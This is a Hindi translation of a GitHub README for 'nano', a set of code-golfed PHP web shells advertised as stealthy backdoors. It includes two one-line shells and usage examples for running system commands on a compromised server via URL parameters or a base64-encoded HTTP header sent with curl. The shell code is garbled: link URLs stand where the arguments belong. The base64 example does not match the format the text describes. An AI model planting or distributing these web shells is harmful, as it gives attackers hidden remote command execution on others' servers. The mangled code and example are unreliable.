s0md3v/nanoNano PHP वेब शेल्स का एक परिवार है जो चुपके के लिए कोड गोल्फ किए गए हैं।
Nano PHP वेबशेल्स का एक परिवार है जो अत्यधिक चुपके और कुशल होने के लिए कोड गोल्फ किए गए हैं।
इसे देखते रहें, शायद मैं यहाँ और वेबशेल्स अपलोड करता रहूंगा।
<?=$_GET[p]==_&&$_GET[f](https://github.com/s0md3v/nano/blob/master/%24GET_%5Bc%5D);
http://example.com/nano.php?f=function&c=command&p=password
f फ़ंक्शन के लिए है
c कमांड के लिए है
p पासवर्ड के लिए है
उदाहरण के लिए, नीचे दिया गया कोड ls कमांड को निष्पादित करेगा:
http://example.com/nano.php?f=system&c=ls&p=password
<?=$x=explode('~',base64_decode(substr(getallheaders()['x'],1)));@$x[0](https://github.com/s0md3v/nano/blob/master/%24x%5B1%5D);
यह थोड़ा जटिल है।
मान लीजिए आप system(ls) चलाना चाहते हैं तो इसे system~ls लिखें और फिर base64 एनकोड करें यानी c3lzdGVtKGxzKQ==
अब इसकी शुरुआत में कोई 1 वर्ण जोड़ें। मान लें 'x', तो यह xc3lzdGVtKGxzKQ== होगा।
अब अपना टर्मिनल खोलें और निम्नलिखित कमांड टाइप करें
curl -H 'x: xc3lzdGVtKGxzKQ==' http://example.com/backdoored.php
बहुत अधिक काम? आप इसके बजाय handler का उपयोग कर सकते हैं।
यह मेरी पहली PHP चीज़ है, इसलिए अगर मैंने जो किया उसे बेहतर तरीके से करने का कोई तरीका है तो कृपया मुझे बताएं या पुल रिक्वेस्ट खोलें।
नैनो प्रोजेक्ट MIT लाइसेंस के तहत लाइसेंस प्राप्त है, जिसका मूल रूप से अर्थ है कि यदि आप इसे पुनर्वितरित या संशोधित करना चाहते हैं तो आपको मुझे श्रेय देना होगा।